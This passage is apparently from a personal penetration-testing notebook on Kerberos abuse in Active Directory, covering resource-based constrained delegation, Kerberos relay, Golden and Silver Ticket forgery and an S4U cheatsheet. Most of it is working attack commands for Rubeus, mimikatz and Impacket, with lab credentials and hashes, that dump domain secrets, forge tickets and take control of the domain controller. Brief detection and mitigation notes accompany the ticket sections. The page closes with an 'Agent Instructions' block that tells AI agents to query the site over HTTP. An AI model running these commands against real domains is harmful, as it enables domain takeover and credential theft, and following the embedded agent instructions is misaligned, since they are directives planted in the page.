PS C:\Users\Helen.Frost\Documents> .\Rubeus.exe asktgt /user:FS01$ /password:'NewPassword123!' /nowrap
PS C:\Users\Helen.Frost\Documents> ./Rubeus.exe s4u /impersonateuser:dc /msdsspn:ldap/dc.redelegate.vl /ticket:&#x3C;TICKET> /ptt
</code></pre>

## **Resource-Based Constrained Delegation (RBCD)**

{% hint style="info" %}
Use bloodhound to enumerate the domain controller and search for WriteAccountRestriction.&#x20;
{% endhint %}

{% hint style="success" %}
The easiest way to get a SPN either Computer or Fake Computer. If you compromise one as root/NT Authority System get the NT hash.
{% endhint %}

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1>" %}

{% embed url="<https://github.com/Kevin-Robertson/Powermad>" %}

**To carry out attacks against RBCD, we require two elements:**

1. Access to a user or group that has privileges to modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` property on a computer. This is commonly possible if the user has `GenericWrite`, `GenericAll`, `WriteProperty`, or `WriteDACL` privileges on a computer object.
2. Control of another object that has an SPN. (The simplest way to obtain an object with SPN is to use a computer \[Fake Computer])

### From Windows

**Script to find RBCD permission**

```powershell
# import the PowerView module
Import-Module C:\Tools\PowerView.ps1

# get all computers in the domain
$computers = Get-DomainComputer

# get all users in the domain
$users = Get-DomainUser

# define the required access rights
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"

# loop through each computer in the domain
foreach ($computer in $computers) {
    # get the security descriptor for the computer
    $acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs

    # loop through each user in the domain
    foreach ($user in $users) {
        # check if the user has the required access rights on the computer object
        $hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}

        if ($hasAccess) {
            Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)"
        }
    }
}
```

```powershell
PS C:\Tools> .\SearchRBCD.ps1

carole.holmes has the required access rights on DC01
```

**Steps to carry out the attack:**

1. Create a computer.
2. Obtain the computer SID.
3. Use the [Security Descriptor Definition Language (SDDL)](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language) to create a security descriptor.
4. Set `msDS-AllowedToActOnBehalfOfOtherIdentity` in raw binary format.
5. Modify the target computer.

```powershell
PS C:\Tools> Import-Module .\Powermad.ps1
PS C:\Tools> New-MachineAccount -MachineAccount HACKTHEBOX -Password $(ConvertTo-SecureString "Hackthebox123+!" -AsPlainText -Force)

[+] Machine account HACKTHEBOX added

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $ComputerSid = Get-DomainComputer HACKTHEBOX -Properties objectsid | Select -Expand objectsid
PS C:\Tools> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS C:\Tools> $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\Tools> $SD.GetBinaryForm($SDBytes, 0)
PS C:\Tools> $credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\carole.holmes", (ConvertTo-SecureString "Y3t4n0th3rP4ssw0rd" -AsPlainText -Force)
PS C:\Tools> Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose

# Ask for a TGT for the created computer account
PS C:\Tools> .\Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:inlanefreight.local
# Ask for a TGS ticket for the specific Service
PS C:\Tools> .\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:<NT-HASH-COMPUTER> /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt
PS C:\Tools> klist
PS C:\Tools> ls \\dc01.inlanefreight.local\c$
```

{% hint style="info" %}
Note: We can also use `/altservice:host,RPCSS,wsman,http,ldap,krbtgt,winrm` to include additional services to our ticket request.
{% endhint %}

**Clear attribute**

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\carole.holmes", (ConvertTo-SecureString "Y3t4n0th3rP4ssw0rd" -AsPlainText -Force)
PS C:\Tools> Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -Verbose
```

### From Linux

{% hint style="info" %}
Use bloodhound to enumerate the domain controller and search RBCD privilege to abuse.
{% endhint %}

```shell
#Enumerate ms-DS-MachineAccountQuota (set to 10 by default for authenticated users
Intrusionz3r0@htb[/htb]$ nxc ldap 10.129.205.35 -u 'carole.holmes' -p 'Y3t4n0th3rP4ssw0rd' -M maq

# add the account to the targeted computer's trust list (carole.holmes has GenericAll)
Intrusionz3r0@htb[/htb]$ impacket-addcomputer inlanefreight.local/carole.holmes:'Y3t4n0th3rP4ssw0rd' -computer-name 'FAKECOMPUTER2' -computer-pass 'Password123!'   

#Modify the attribute msDS-AllowedToActOnBehalfOfOtherIdentity on Target
Intrusionz3r0@htb[/htb]$ impacket-rbcd inlanefreight.local/carole.holmes:'Y3t4n0th3rP4ssw0rd' -delegate-from 'FAKECOMPUTER2$' -delegate-to 'DC01$' -dc-ip 10.129.205.35 -action write

#Read the msDS-AllowedToActOnBehalfOfOtherIdentity on Target
Intrusionz3r0@htb[/htb]$ impacket-rbcd inlanefreight.local/carole.holmes:'Y3t4n0th3rP4ssw0rd' -delegate-to 'DC01$' -dc-ip 10.129.205.35 -action 'read' 

#Request the Service Ticket
Intrusionz3r0@htb[/htb]$ impacket-getST -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.248.217 inlanefreight.local/HACKTHEBOX2:'Hackthebox123!' 
```

### RBCD from Linux When MachineAccountQuota Is Set to 0

If we are unable to create a computer account, or if the account we are targeting doesn't have an SPN, an attacker can still perform the attack.

<pre class="language-powershell"><code class="lang-powershell"><strong>#Obtain a TGT Using the NT Hash
</strong><strong>Intrusionz3r0@htb[/htb]$ pypykatz crypto nt 'B3thR!ch@rd$'
</strong>de3d16603d7ded97bb47cd6641b1a392

#Request a TGT
Intrusionz3r0@htb[/htb]$ impacket-getTGT INLANEFREIGHT.LOCAL/beth.richards -hashes :de3d16603d7ded97bb47cd6641b1a392 -dc-ip 10.129.205.35

#Obtain the Session Key
Intrusionz3r0@htb[/htb]$ impacket-describeTicket beth.richards.ccache | grep "Session Key"
[*] Ticket Session Key            : abbf1e575095d070cd6de0beab5cad4d

# Change the User's Password by passssing the current TGT's session key as the new NT hash.
Intrusionz3r0@htb[/htb]$ impacket-changepasswd INLANEFREIGHT.LOCAL/beth.richards@10.129.205.35  -hashes :de3d16603d7ded97bb47cd6641b1a392 -newhash :abbf1e575095d070cd6de0beab5cad4d

#Request a Service Ticket
KRB5CCNAME=beth.richards.ccache impacket-getST -u2u -impersonate Administrator -spn TERMSRV/DC01.INLANEFREIGHT.LOCAL -no-pass INLANEFREIGHT.LOCAL/beth.richards -dc-ip 10.129.205.35

#Access the Domain Controller
KRB5CCNAME=Administrator@TERMSRV_DC01.INLANEFREIGHT.LOCAL@INLANEFREIGHT.LOCAL.ccache impacket-wmiexec DC01.INLANEFREIGHT.LOCAL -k -no-pass
</code></pre>

### RBCD Example 1:

<figure><img src="/files/xsKu6J8E7NWpzxWe42fS" alt=""><figcaption><p>The user ADM_PRJU possesses the permission to modify the <strong>msDS-AllowedToActOnBehalfOfOtherIdentity</strong> attribute associated with the MUCDC$ Computer. </p></figcaption></figure>

**Requirements**

* **ADM\_PRJU** possesses the permission to modify **msDS-AllowedToActOnBehalfOfOtherIdentity**&#x20;
* Control an object that had a SPN. (We previously compromised a Linux machine FRAJMP$)

```sh
❯ impacket-rbcd heron.vl/adm_prju:'ayDMWV929N9wAiB4' -delegate-from 'FRAJMP$' -delegate-to 'MUCDC$' -dc-ip 10.10.215.101 -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] FRAJMP$ can now impersonate users on mucdc$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:

❯ impacket-getST heron.vl/FRAJMP$ -hashes :6f55b3b443ef192c804b2ae98e8254f7 -spn cifs/MUCDC.heron.vl -impersonate 'MUCDC$' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating MUCDC$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in MUCDC$@cifs_MUCDC.heron.vl@HERON.VL.ccache

❯ KRB5CCNAME='MUCDC$@cifs_MUCDC.heron.vl@HERON.VL.ccache' impacket-secretsdump -k -no-pass @MUCDC.heron.vl
<SNIF>
```

## Kerberos Relay Attack

Requirenments:

* LDAP signing not required on Domain Controller.
* Ability to add computer account

Check to more information about the attack: [Broken mention](broken://pages/ZnoNTBx23KnjRNHVMZWq)

### Using KrbRelay.exe&#x20;

Tool: [KrbRelay](https://github.com/cube0x0/KrbRelay/tree/main)

```sh
#Check LDAP Signing
nxc ldap bruno.vl -u 'svc_net' -p 'Sunshine1' -M ldap-checker
#Check MacchineAccountQuota
nxc ldap bruno.vl -u 'svc_net' -p 'Sunshine1' -M maq

#1. Check available Port
PS C:\Temp> ./CheckPort.exe
[*] SYSTEM Is allowed through port 10246
#2. Adding Fake Computr
PS C:\Temp> Import-Module .\Powermad.ps1
PS C:\Temp> New-MachineAccount -MachineAccount evilcomputer  -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
#3. Obtaining Malicious SID
PS C:\Temp> Get-ADComputer -Identity "evilcomputer" -Properties SID | Select-Object Name, SIDe
#Performing attack
PS C:\Temp> .\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-1117 -port 10246 -ssl -reset-password Administrator Password123!
```

Finally, use **impacket-getST** or **Rubeus** to ask for Ticket Granting ticket using S4u and perform the DCSyncAttack.

### Using KrbRelayUp

Tool: [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)

```sh
#1. Check available Port
PS C:\Temp> ./CheckPort.exe
#2. Performing attack
PS C:\Temp> .\KrbRelayUp.exe full -m rbcd -c -cls d99e6e73-fc88-11d0-b498-00a0c90312f3 -p 10246
```

Finally, use **impacket-getST** or **Rubeus** to ask for Ticket Granting ticket using S4u and perform the DCSyncAttack.

## Golden Ticket

The Golden Ticket attack lets attackers forge and sign TGTs (Ticket Granting Tickets) using the krbtgt account's password hash. When these tickets are presented to an AD server, the information within them is not checked and is considered valid because it is signed with the krbtgt account's password hash.

{% hint style="info" %}
Forging a golden ticket is an excellent technique to maintain persistence within an AD environment. Once full domain compromise is achieved, an attacker can extract the NTLM hash of the `krbtgt` account using `DCSync` (or from the `NTDS.DIT` file using a variety of methods).
{% endhint %}

After a TGT (Ticket Granting Ticket) request, the domain controller sends the user their TGT. This TGT contains a PAC (Privilege Attribute Certificate), which includes information about the user's privileges. Each Service Ticket issued by the KDC contains a copy of the PAC, and the domain controller uses the **krbtgt** account key to sign these tickets.

An attacker can exploit the **krbtgt** key to decrypt any TGT, including its PAC, modify it to make it appear as though the user belongs to the administrators group, and then re-encrypt it using the **krbtgt** secret.

Requirements:

1. `Domain Name`
2. `Domain SID`
3. `Username to Impersonate`
4. `KRBTGT's hash`

### From Windows

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainSID
PS C:\Tools> .\mimikatz.exe privilege::debug "lsadump::dcsync /user:krbtgt /domain:inlanefreight.local" exit
PS C:\Tools> .\mimikatz.exe privilege::debug "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:<krbtgt-nthash> /ptt" exit
```

### From Linux

<pre class="language-sh"><code class="lang-sh">Intrusionz3r0@htb[/htb]$ impacket-lookupsid inlanefreight.local/htb-student:'HTB_@cademy_stdnt!'@10.129.205.35 -domain-sids
<strong>Intrusionz3r0@htb[/htb]$ impacket-ticketer -nthash &#x3C;krbtgt-nthash> -domain-sid S-1-5-21-1870146311-1183348186-593267556 -domain inlanefreight.local Administrator 2>/dev/null
</strong><strong>Intrusionz3r0@htb[/htb]$ KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc01.inlanefreight.local
</strong></code></pre>

#### Detection of Golden Tickets

Golden Tickets are challenging to detect because they are valid TGTs, and Windows event logs cannot distinguish between legitimate and maliciously crafted TGTs. Resetting the password of an impersonated account does not invalidate an existing Golden Ticket.

Key detection points include:

1. Golden Tickets often have unusually long lifespans (e.g., Mimikatz defaults to 10 years). Certain Active Directory monitoring tools can flag these as Indicators of Compromise (IoCs).
2. Anomalies in the account DOMAIN field, such as being blank or containing the fully qualified domain name (FQDN) instead of just the domain name.

To mitigate Golden Ticket persistence, the **krbtgt** account password must be changed twice to eliminate both the current and previous keys stored in the domain. It's also advisable to regularly rotate the **krbtgt** account password as part of standard security practices.

## Silver Ticket

The Silver Ticket attack targets service tickets in Active Directory (AD) environments. This attack involves obtaining the NTLM hash of a service account, such as a computer account, and using it to forge a Ticket Granting Service (TGS) ticket. With the forged ticket, an attacker can impersonate any user to access specific services on the network, often aiming for administrative privileges.

The TGS ticket contains a PAC (Privilege Attribute Certificate), which includes details about the user's privileges and the SPN (Service Principal Name) of the requested service. This ticket is encrypted using the secret key of the service account associated with the SPN.

The attacker can forge a service ticket from scratch since they can create an arbitrary PAC and encrypt it with the secret stolen. Once this TGS ticket is forged, the attacker presents it to the service. The service can decrypt it because it has been encrypted with its own password, and then it will read the contents of the PAC. As the attacker has forged it, they can embed whatever information they desire, such as being a domain administrator. This forged ticket is called a `Silver Ticket`.

Requirements:

* &#x20;NTLM password's hash or keys for a service or machine account
* `Domain Name`
* `Domain SID`
* `Username to Impersonate`

{% hint style="info" %}
Silver tickets allow you to impersonate any user, including domain admins, but only within the context of the service tied to the compromised account’s SPN. The forged ticket is valid exclusively for that service, not for others like LDAP or CIFS, unless they share the same service account.
{% endhint %}

### From Windows

<pre class="language-powershell"><code class="lang-powershell">PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainSID
#Create silver ticket with Mimikatz
.\mimikatz.exe privilege::debug "kerberos::golden /domain:lustrous.vl /user:tony.ward /id:1114 /target:lusdc.lustrous.vl /service:HTTP /sid:S-1-5-21-2355092754-1584501958-1513963426 /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /ptt" exit
<strong>#Create silver ticket with Rubeus
</strong>.\Rubeus.exe silver /service:HTTP/lusdc.lustrous.vl /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /user:tony.ward /domain:lustrous.vl /sid:S-1-5-21-2355092754-1584501958-1513963426 /nowrap /ptt
PS C:\Tools>  dir //sql01.inlanefreight.local/c$
</code></pre>

**Create a Silver Ticket , save it in `sql01.kirbi`  and use PSExec.**

```powershell
 PS C:\Tools> ./mimikatz.exe "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit
 PS C:\Tools> ./Rubeus.exe createnetonly /program:cmd.exe /show
 [sacrificial process] C:\Tools>Rubeus.exe ptt /ticket:sql01.kirbi
 [sacrificial process] C:\Tools>PSExec.exe -accepteula \\sql01.inlanefreight.local cmd
```

### From Linux&#x20;

{% hint style="info" %}
Having a service account with an SPN allows the creation of a **Silver Ticket**, which can be used to impersonate any domain user (including the **Administrator**) when authenticating to that specific service. However, this impersonation is **limited to the service associated with that SPN** and does not grant full domain-wide privileges.
{% endhint %}

```sh
Intrusionz3r0@htb[/htb]$ impacket-lookupsid inlanefreight.local/htb-student:'HTB_@cademy_stdnt!'@10.129.183.191 -domain-sids
#Old Way
Intrusionz3r0@htb[/htb]$ impacket-ticketer -nthash 542780725df68d3456a0672f59001987 -domain-sid S-1-5-21-1870146311-1183348186-593267556 -domain inlanefreight.local -spn cifs/sql01.inlanefreight.local Administrator 2>/dev/null
#New Way 2025 -user-id 
Intrusionz3r0@htb[/htb]$ impacket-ticketer -nthash '69596c7aa1e8daee17f8e78870e25a5c' -domain-sid "S-1-5-21-2330692793-3312915120-706255856" -domain "breach.vl" -spn "MSSQLSvc/breachdc.breach.vl:1433" -user-id 500 'Administrator'
Intrusionz3r0@htb[/htb]$ KRB5CCNAME=Administrator.ccache impacket-smbclient -k -no-pass sql01.inlanefreight.local
Intrusionz3r0@htb[/htb]$ KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass sql01.inlanefreight.local
```

### Detection

Silver Tickets are more limited when compared to Golden Tickets because their scope is only for the service that is being targeted on a specific host. However, they can be utilized to remain stealthier. Silver Tickets can be used for persistence when used to access computer-hosted services. Since computer account password rotation may be disabled, and AD does not prevent computer accounts from accessing resources, this type of Silver Ticket could likely be used for a very long time.

Silver Tickets forged with Mimikatz can be detected in a few ways.

* The account DOMAIN field is blank.
* The account DOMAIN field contains DOMAIN FQDN instead of just domain.

***

## S4U CheatsheetS4U Basics

* S4U (Service for User): Allows a trusted account to impersonate users via Kerberos.
* Tools: Rubeus (Windows), Impacket (Linux).
* Requires: Delegation permissions (RBCD, Unconstrained, or Constrained).

### **S4U2Self**

* What: Gets a ticket for yourself impersonating another user (e.g., Administrator -> KRBRELAYUP$).
* Purpose: Prepares impersonation (step 1).

```powershell
Rubeus.exe s4u /user:KRBRELAYUP$ /password:"bD7/vJ7-tF7@kS1-" /impersonateuser:administrator /domain:<domain> /dc:<dc_ip>
```

* Output: TGS (not usable directly for services).

### S4U2Proxy

* What: Uses S4U2Self ticket to get a ticket for a specific service (e.g., Administrator -> HOST/brunodc).
* Purpose: Access a service (step 2).

```powershell
Rubeus.exe s4u /ticket:<base64_S4U2Self> /impersonateuser:administrator /msdsspn:<spn> /domain:<domain> /dc:<dc_ip> /ptt
```

* `<spn>: e.g., HOST/brunodc, ldap/brunodc`.
* Output: TGS usable for the service (e.g., SMB, LDAP).

#### Delegation Types

1. **RBCD (Resource-Based Constrained Delegation)**
   * Permission: msDS-AllowedToActOnBehalfOfOtherIdentity on target (e.g., brunodc$ lists KRBRELAYUP$).
   * Check: Get-ADComputer brunodc -Properties msDS-AllowedToActOnBehalfOfOtherIdentity.
   * Use Case: Control a specific resource (e.g., DC).
   * S4U: Impersonate to target’s services (e.g., HOST, ldap).
2. **Unconstrained Delegation**
   * Permission: TRUSTED\_FOR\_DELEGATION (userAccountControl = 524288).
   * Check: Get-ADComputer WEB01 -Properties userAccountControl.
   * Use Case: Full domain takeover if you capture a TGT.
   * S4U: Impersonate to any service after capturing a TGT (e.g., ldap, CIFS).
3. **Constrained Delegation**
   * Permission: msDS-AllowedToDelegateTo lists SPNs (e.g., MSSQLSvc/sql01:1433).
   * Check: Get-ADUser SVC-SQL -Properties msDS-AllowedToDelegateTo.
   * Use Case: Access specific services only.
   * S4U: Impersonate to listed SPNs (e.g., MSSQLSvc).

#### When to Use

* RBCD: You control a machine account and target a specific resource (e.g., DC).
  * Ex: Escalate via KrbRelayUp to DCSync.
* Unconstrained: You capture a TGT from an admin on a server.
  * Ex: Monitor a web server for admin logins.
* Constrained: You have a service account tied to a specific SPN.
  * Ex: Access SQL as an admin.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/kerberos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
